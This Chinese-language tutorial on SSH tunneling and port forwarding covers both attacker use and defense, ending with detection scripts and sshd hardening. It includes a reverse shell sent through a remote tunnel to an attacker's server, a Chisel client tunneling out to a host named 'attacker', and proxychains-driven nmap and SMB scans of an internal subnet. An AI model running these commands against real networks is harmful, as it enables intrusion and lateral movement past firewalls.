SSH 隧道与端口转发完全指南

← 返回指南列表

SSH 隧道与端口转发完全指南

SSH 隧道是网络安全最实用的技术之一。攻击者利用 SSH 隧道绕过防火墙、访问内网资源、横向移动;防御者则用于远程安全管理和网络隔离。

一、三种隧道模式

转发类型 参数 说明 攻击场景
本地转发 -L 本地端口:目标:目标端口 SSH服务器 将本地端口流量转发到远程目标 访问内网服务
远程转发 -R 远程端口:本地:本地端口 SSH服务器 将远程端口流量转发到本地 突破 NAT
动态转发 -D 本地端口 SSH服务器 建立 SOCKS5 代理 内网渗透

二、本地端口转发

2.1 基础用法

BASH
# 场景:目标内网 172.16.1.100:80 不可直连
# 跳板机 192.168.1.10(SSH 可达)
ssh -L 8080:172.16.1.100:80 user@192.168.1.10
# 访问 http://localhost:8080 即访问 172.16.1.100:80

# 多端口同时转发
ssh -L 8080:172.16.1.100:80 \
    -L 3306:172.16.1.101:3306 \
    -L 3389:172.16.1.102:3389 \
    user@192.168.1.10

2.2 穿透多层网络

BASH
# 攻击机 -> 跳板1(外网)-> 跳板2(DMZ)-> 目标(内网)

# 方法 1:ProxyJump(OpenSSH 7.3+)
ssh -J user@跳板1 user@跳板2 -L 8080:目标:80

# 方法 2:逐层转发
ssh -L 2222:跳板2:22 user@跳板1
ssh -L 8080:目标:80 -p 2222 user@localhost

# 方法 3:ProxyCommand
ssh -o ProxyCommand="ssh user@跳板1 -W 跳板2:22" user@跳板2 -L 8080:目标:80

2.3 持久隧道

BASH
# autossh 自动重连
autossh -M 0 -o "ServerAliveInterval=30" -o "ServerAliveCountMax=3" \
    -L 8080:172.16.1.100:80 user@192.168.1.10 -N -f

# SSH 配置持久连接
cat >> ~/.ssh/config << 'CONF'
Host jumpbox
    HostName 192.168.1.10
    ServerAliveInterval 30
    ServerAliveCountMax 3
    ExitOnForwardFailure yes
CONF
ssh -L 8080:172.16.1.100:80 -N jumpbox

2.4 绑定到 0.0.0.0

BASH
# 允许局域网其他机器使用隧道
ssh -L 0.0.0.0:8080:172.16.1.100:80 user@192.168.1.10

# 使用网关端口(需服务端配置 GatewayPorts yes)
# 使远程用户可以访问隧道

三、远程端口转发

3.1 基础用法

BASH
# 场景:内网服务器无公网 IP,但可 SSH 到公网服务器
# 内网服务器执行:
ssh -R 8080:127.0.0.1:3000 user@公网服务器
# 公网访问 http://localhost:8080 即访问内网服务

3.2 突破 NAT 获取反弹 Shell

BASH
# 攻击者在公网有 SSH 服务器

# 目标机执行(建立远程转发):
ssh -R 4444:127.0.0.1:4444 attacker@公网服务器

# 攻击机监听:
nc -lvp 4444

# 目标机执行反弹连接:
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

3.3 网关配置

BASH
# 默认 SSH 只允许绑定 127.0.0.1
# 修改 /etc/ssh/sshd_config:
echo "GatewayPorts yes" >> /etc/ssh/sshd_config
systemctl restart sshd

# 然后可以绑定到 0.0.0.0
ssh -R 0.0.0.0:8080:127.0.0.1:3000 user@server

四、动态转发(SOCKS 代理)

4.1 建立代理

BASH
# SOCKS5 代理
ssh -D 1080 user@192.168.1.10
# 本地代理:127.0.0.1:1080

# 测试代理
curl --socks5 127.0.0.1:1080 http://172.16.1.100

4.2 proxychains

BASH
# 编辑 /etc/proxychains.conf
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf

# 通过代理运行
proxychains nmap -sT -Pn 172.16.1.0/24
proxychains rdesktop 172.16.1.100
proxychains smbclient -L //172.16.1.100

4.3 Chisel HTTP 隧道

BASH
# 不依赖 SSH,通过 HTTP 隧道穿透
# 服务端(攻击机):
chisel server -p 8080 --reverse

# 客户端(目标机):
chisel client http://attacker:8080 R:1080:socks

4.4 sshuttle VPN 隧道

BASH
# 自动转发整个子网(无需逐个配置)
sshuttle -r user@跳板机 172.16.0.0/12

五、检测与防御

5.1 检测 SSH 隧道

BASH
# 检查 SSH 转发进程
ps aux | grep "ssh.*-[LRD]"

# 检查非标准端口转发
ss -tlnp | grep -v ':22$' | while read line; do
    port=$(echo $line | awk '{print $4}')
    pid=$(echo $line | grep -oP 'pid=\K[0-9]+')
    if [ -n "$pid" ]; then
        cmd=$(ps -p $pid -o cmd=)
        if echo "$cmd" | grep -q ssh; then
            echo "SSH 转发端口: $port"
        fi
    fi
done

# 检查 SSH 配置中的隧道
grep -rn "LocalForward\|RemoteForward\|DynamicForward" ~/.ssh/config 2>/dev/null

5.2 SSH 服务器加固

BASH
# /etc/ssh/sshd_config
AllowTcpForwarding no         # 禁止所有 TCP 转发
GatewayPorts no               # 禁止绑定 0.0.0.0
X11Forwarding no              # 禁止 X11 转发
MaxSessions 2                 # 限制会话数
AllowUsers admin@10.0.0.*     # 限制登录用户和来源
PasswordAuthentication no     # 禁用密码认证
PubkeyAuthentication yes      # 仅公钥认证
ClientAliveInterval 300       # 空闲超时
ClientAliveCountMax 0         # 超时后立即断开

5.3 企业级防御

YAML
网络层:
  - 只允许已知 IP 的 SSH 连接
  - 使用堡垒机(Bastion Host)集中管理
  - 对 SSH 流量进行深度包检测

主机层:
  - 限制哪些用户允许 SSH 转发
  - 监控异常 SSH 连接行为
  - 记录所有 SSH 命令历史

策略层:
  - 禁止出站 SSH 连接(除非经过代理)
  - 使用 SSH CA 管理公钥

六、总结

转发类型 攻击用途 防御方法
-L 本地转发 访问内网受限服务 限制 SSH 跳板机访问
-R 远程转发 突破 NAT 暴露内网服务 AllowTcpForwarding no
-D 动态转发 SOCKS 代理渗透内网 出站 SSH 检测
Chisel 隧道 HTTP 隧道穿透防火墙 DPI 检测 HTTP 隧道